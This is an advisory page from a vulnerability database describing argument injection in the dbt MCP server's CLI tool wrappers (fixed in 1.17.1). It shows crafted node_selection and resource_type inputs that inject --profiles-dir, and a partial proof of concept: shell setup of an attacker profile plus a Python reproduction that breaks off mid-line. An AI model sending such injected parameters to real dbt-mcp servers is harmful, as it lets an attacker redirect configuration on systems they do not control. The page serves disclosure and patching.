Antidote
Warning

vulnerableVerifiedAGT-2026-0199

dbt-mcp: dbt MCP Server has an Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters

A real bug in otherwise honest software. Check your version against the affected range below.

GHSA-xpww-f6pm-cfhq · CVE-2026-44968 · PYSEC-2026-2444

*Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.**

Summary

`_run_dbt_command()` in `src/dbt_mcp/dbt_cli/tools.py` constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as `--profiles-dir`, `--project-dir`, and `--target` — by crafting the `node_selection` string (Vector 1) or the `resource_type` JSON array (Vector 2). Because `subprocess.Popen` is called with `shell=False` and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.

Details

**Vector 1 — `node_selection` string** Affected tools: `build`, `compile`, `run`, `test`, `clone`, `list`, `get_node_details_dev`

```python src/dbt_mcp/dbt_cli/tools.py lines 77–79 if node_selection and isinstance(node_selection, str): selector_params = node_selection.split(" ") command.extend(["--select"] + selector_params) ```

`str.split(" ")` does not distinguish dbt selector tokens from flag tokens. Input `"my_model --profiles-dir /tmp/evil"` produces:

```` ["dbt", "--no-use-colors", "run", "--select", "my_model", "--profiles-dir", "/tmp/evil"] ````

dbt parses the injected `--profiles-dir` as a global option and loads configuration from the attacker-supplied path.

**Vector 2 — `resource_type` list** Affected tool: `list`

```python src/dbt_mcp/dbt_cli/tools.py lines 84–85 if isinstance(resource_type, Iterable): command.extend(["--resource-type"] + resource_type) ```

Each JSON array element is appended verbatim to argv. Input `["model", "--profiles-dir", "/tmp/evil"]` produces:

```` ["dbt", "--no-use-colors", "list", "--resource-type", "model", "--profiles-dir", "/tmp/evil"] ````

Both vectors share the same root cause: no validation prevents tokens starting with `-` from being appended as independent argv elements.

PoC

**1. Environment setup (run once)**

```bash Attacker-controlled profile at an injectable path mkdir -p /tmp/evil-profiles cat > /tmp/evil-profiles/profiles.yml << 'EOF' evil_profile: target: dev outputs: dev: type: duckdb path: /tmp/PWNED_by_injection.duckdb threads: 1 EOF

Minimal dbt project whose profile name matches the malicious one mkdir -p /tmp/test-dbt-project/models cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF' name: test_project version: '1.0.0' profile: evil_profile model-paths: ["models"] models: test_project: +materialized: table EOF echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql

rm -f /tmp/PWNED_by_injection.duckdb ```

**2. MCP client exploit — triggers injection through the real protocol stack**

```python #!/usr/bin/env python3 poc_injection.py Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py

import os, subprocess from dataclasses import dataclass from enum import Enum from collections.abc import Iterable

class BinaryType(Enum): DBT_CORE = "dbt_core"

@dataclass class DbtCliConfig: project_dir: str dbt_path: str dbt_cli_timeout: int binary_type: BinaryType

def _run_dbt_command(config, command, node_selection=None, resource_type=None): # Vector 1: vulnerable line from tools.py if node_selection and isinstance(node_selection, str): selector_params = node_selection.split(" ") command.extend(["--select"] + selector_params) # Vector 2: vulnerable line from tools.py if isinstance(resource_type, Iterable) and resource_type is not None: command.extend(["--resource-type"] + list(resource_type)) cwd = config.project_dir if os.path.isabs(config.project_dir) else None args = [config.dbt_path, "--no-use-colors", *command] print(f"[args] {args}") proc =

Imported from OSV GHSA-xpww-f6pm-cfhq.

Affected

PyPI:dbt-mcp
< 1.17.1 (fixed in 1.17.1)

Field marks

Kind
mcp server
Reported by
osv-import

Sources

Wrong or outdated? Open an issue or PR against corpus/entries/AGT-2026-0199.json.